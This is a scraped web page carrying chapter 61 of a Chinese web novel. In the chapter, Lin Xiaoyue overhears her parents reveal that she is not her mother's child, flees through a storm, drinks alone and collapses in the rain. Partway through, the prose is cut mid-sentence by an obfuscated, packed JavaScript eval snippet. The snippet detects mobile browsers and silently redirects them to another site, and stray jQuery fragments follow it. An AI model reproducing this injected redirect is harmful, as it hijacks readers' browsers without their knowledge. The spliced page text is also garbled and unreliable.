默认冷灰
24号文字
方正启体

61. 雨急

作者:枫知意本书字数:K更新时间:
    初听时,潇月以为父母是在为秋水的事争吵,正想着起来进去劝一劝,可是还没等站起身,陡然听到这一句,如被重拳击中,又跌坐下去。全身没了力气,几乎魂飞魄散,瞬间丢失了自己。


    是风太大吗?是昨夜没睡好吗?


    可是父亲那句声音好大,她听得太清晰。


    她听到了什么?她不是母亲所生!


    是真的吗?


    怎么可能是真的?


    挡不住这些想法铺天盖地地把她笼罩,密密地兜头兜脑,让她几乎不能呼吸。可又停不下来慌乱,就像拦不下屋里的声音,在狂风里继续往她耳朵里灌。


    以往这个时候宋妈会出来劝解几句打个圆场,让他们莫要吵得太凶伤了夫妻情分。但是自从上次听了夫人内心多年的隐忍和委屈后,宋妈不想再一味开导自家夫人了,她觉得如果真如夫人所说,这样对夫人太不公平,她一个人承受了多少,与其在自己心里撕扯煎熬,不如释放出来,不要再藏着掖着跟老爷当面锣对面鼓地讲个透彻,说开了才能对症下药去除心病。


    难怪她劝解了多少回都没有用,夫人心里的伤口明明没有好,粉饰遮掩都没用,化了脓就得一刀子割开,疼也无妨,疼才有药可救。


    所以她遣走了院子里所有的丫鬟,自己在隔间里如老僧坐定,只要不动起手来,她绝对不会过去。


    如今听老爷这话,动不动就说夫人的不是,张口闭口都是指责,夫人怎能不心寒。这些年夫人对二小姐如何,她比谁都清楚,她替夫人委屈得落泪。


    再说二小姐是老爷在天寒地冻的大街上无意中捡到的孩子,她也不信了。


    “你去问问林潇月,她可曾有过感觉到我对她不好?满府上下这么多人,她长到了十五岁,可有人看出她不是我亲生?包括我自己生的孩子,容儿一直对我不够亲热,就是因为她觉得我偏心,在别人眼里,我偏疼的都是月儿。”


    林夫人声音颤抖,仿似用很大力气才能说出来,“只有你,只有你林正阳,动不动就提醒我月儿不是我亲生的,动不动就指责我慢待了你的月儿。”


    “你说我早早打发了她的奶娘,还不是怕夜长梦多,当年我答应了你对外宣称月儿是我所生,可是我是不是刚刚生产过瞒得过别人容易,要瞒住经验丰富的奶娘你知道我得有多小心翼翼?你说月儿五岁分院子,那你知道容儿吗?容儿也是五岁,身边也是两个孩子跟着,你怎么不说不妥呢?这么多年你只在意月儿,根本不关心容儿,你把月儿抱来的时候,我是扔下了自己刚刚两岁的儿女,把她抱在了怀里当她的亲娘,我为的什么?为的是你我夫妻的情意,可是你呢?孩子长大了,不需要我了,就要开始各种挑剔各种指责了是吧。林正阳,这么多年府里无人对月儿的身世起过疑,是我,是我莫茹蓝做得好,我对得起你,而你呢,凡事都不从好的方面想,认定了我故意针对月儿,你不分青红皂白,忘恩负义!我对你的宽容你视而不见,我对月儿的疼爱你全部推翻,我十几年的用心,真的是错付了!林正阳,你对不起我,你也对不起我的儿女!”


    林夫人声声控诉,字字扎心,林潇月在狂风中瑟缩着,颤抖着。


    “你不要说得这么冠冕堂皇,秋水的事你怎么解释?真的是娘家在催了吗?她真的有婆家等着出嫁吗?她真的是回苏州成亲吗?你和秋水联合编出这些谎话来做什么?”对林夫人的控诉,林老爷丝毫不为所动,反手就毫不留情地把遮掩的事掀开来。


    “呵,原来老爷对什么都有疑心啊,事事都要去查个清楚。很多年了吧?心里好过吗?既然你清楚为何不一早说出来,是你配合这出戏唱到最后,要怪就怪你自己。”


    “是,是,怪我,怪我对你抱有幻想,想你不会真的伤了月儿。”


    “我怎么伤了月儿?林正阳,有你在,谁能伤得了月儿。她是你唯一的软肋吧,为了她,结发妻子算什么,嫡亲儿女算什么,你没算计我们就是你手下留情了,你才是小人!卑鄙,无耻!”


    外面乌云密布,遮天蔽日,狂风肆虐,不时有树叶落下,然而窗外的人却浑然不觉一身狼狈。屋里两人唇枪舌剑,谁都没有犹疑,像积攒了多年的怨气终于得到了释放,他们一刀一刀狠狠地刺向对方。偏偏两人铜身铁臂毫不畏惧,只管你来我往言语凛利,哪儿疼往哪儿扎。


    却不知,外面的人,心虚浮着,已是千疮百孔。


    听闻秋水的事,潇月再也支撑不住,再听下去,她会窒息死去。她要去找秋水,她要面对面问一问,她要听秋水亲口跟她说她是回苏州成亲,林夫人的话都是故意编出来气林老爷的。


    所以,秋水可以证明,她听到话,全都不是真的。


    潇月努力地站起来,踉跄地朝外跑去,她从角门出去时,守门的婆子因为风大刚关了窗户,影影绰绰听到有动静出来,二小姐已出了门,远远地只听见一句“秋水”。


    守门的婆子是苏州这边的,对府里的消息总是知道得慢一拍,她还不知道秋水已经回苏州,还想着定是二小姐是带着秋水出门,秋水去备车了,于是也没多做理会,赶紧关好了门。


    街上,店铺前的幌子被风吹得高高扬起,猎猎声响混着远处运河的呜咽,在坊巷间织成一张紧绷的网,尘土在石板缝里打旋,昏天暗地,裹着人步步难行。很多摊子没有来得及出摊,街上几乎没有行人,林潇月却如要上阵杀敌的将士,又如即将献祭的神祗,那般坚定地朝码头走去。


    可惜还是晚了,老天爷不肯给她这个答案。


    去往苏州的船已经出发了,此番应该已经出了杭州。她想雇船去追,可是这样的天气,船家说给多少钱都不去,去也追不上。


    她茫然不知该去哪里,没见到秋水,就可以当那些话都是假的吗?父母撕破脸皮地吵,她可以当成什么不知道吗?就算把头埋到沙子里捱过今天,那么明天呢,以后呢,他们就不会再吵了吗?


    她是一直存在的存在呀,父母争吵的根源。


    走得多了才发现脚疼腿也疼,大概是在窗外跌倒时碰到了哪里。运


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438972|169341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    河边有很多茶楼酒肆,她随便进了一家,让店小二上酒上菜。


    这时分,酒肆里就她一位客人,她看上去失魂落魄,头发也有些凌乱。但是店小二除了一丝关心,更多的却见怪不怪,他送来了热毛巾,端上酒菜,便默不作声地下去了。


    运河岸边,见多了离别,也见多了伤感后的一醉解千愁,再黯然销魂而去。


    林潇月也说不清为什么来喝酒,这些都成了她下意识的举动,她很难受,那种不能挑明,也不能漠视的难受,或许醉了能忘记一些事情,都说醉了后记忆就不真实了。


    喝醉真的很容易,但今天就是不知道怎么回事,明明觉得已经醉了,却不像前天晚上倒头就睡,她反而越发清醒,脑子里有个声音一直在说:路还是要走下去,路还是要走下去......


    顿时来了一股冲动,谁在说话?走就走嘛,门外就是路。


    见她起身,店小二急忙过来了,林潇月根本就没有带银子的习惯,何况今天还是事发突然地跑出来,她摘下头上一根银簪拍在桌上,“收好,等我来赎。”


    本就略有凌乱的发髻更加摇摇欲坠了,店小二眼神上上下下扫着,生怕头发散下来更不好对付,赶紧点头哈腰说好。


    掌柜的早有吩咐,运河边喝醉的失意人太多,只要给了钱就不要太计较,毕竟喝醉的男人不好惹,喝醉的女子——委实不多,能躲就躲吧。


    “小姐,我去帮您叫辆车吧,直接送您回府。”店小二殷勤地说。


    林潇月不理他,径直往外走。以往出来都是秋水付账,秋水找车,秋水安排一切......想到秋水,她又软弱了几分,难受劲儿开始上头。


    “小姐,外面下雨了,我给您拿把伞,您等一下。”店小二回身往柜台跑,拿起伞追到门口时,那位小姐已经出门走远了,看着也不怕淋,就这么在雨里走着。


    店小二在门口张望了好一阵,他怕这位小姐想不开去跳河,直到看见她拐向另外的街道才算放心。接着他把伞放回原处,忍不住自嘲,自己天天起早贪黑地辛苦,挣不了仨瓜俩枣,还总是替这些有吃有喝的人操心。


    这场雨来得又大又急,林潇月走了没几步就已浑身湿透,踩在冰冷的雨水中,从头到脚都浸着森森寒意,一直一直透到心里。


    她本来对杭州的道路就不熟悉,何况雨水遮蔽,看哪里都隐在水茫茫的轮廓里,早已不识来路,更不知去路通往何处。


    原本压制的酒劲也在升腾,头越来越晕,越来越沉,不得不走几步便扶着墙休息一下。她已经走进了居民住的巷子,没有店铺可以让她进去歇息。


    就在她不时咬咬舌尖逼迫自己必须保持清醒,可实际已站立不稳的时候,一个白衣男子撑伞而过,看见了靠着墙快要晕倒的她。


    “姑娘,我是湖鉴书院的□□司白,你家在哪儿?我送你回去。”那人把伞罩在她头上。


    “司白——”听到这个名字,林潇月放下了防备和坚持,一撤劲儿,身子一软,向下滑去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)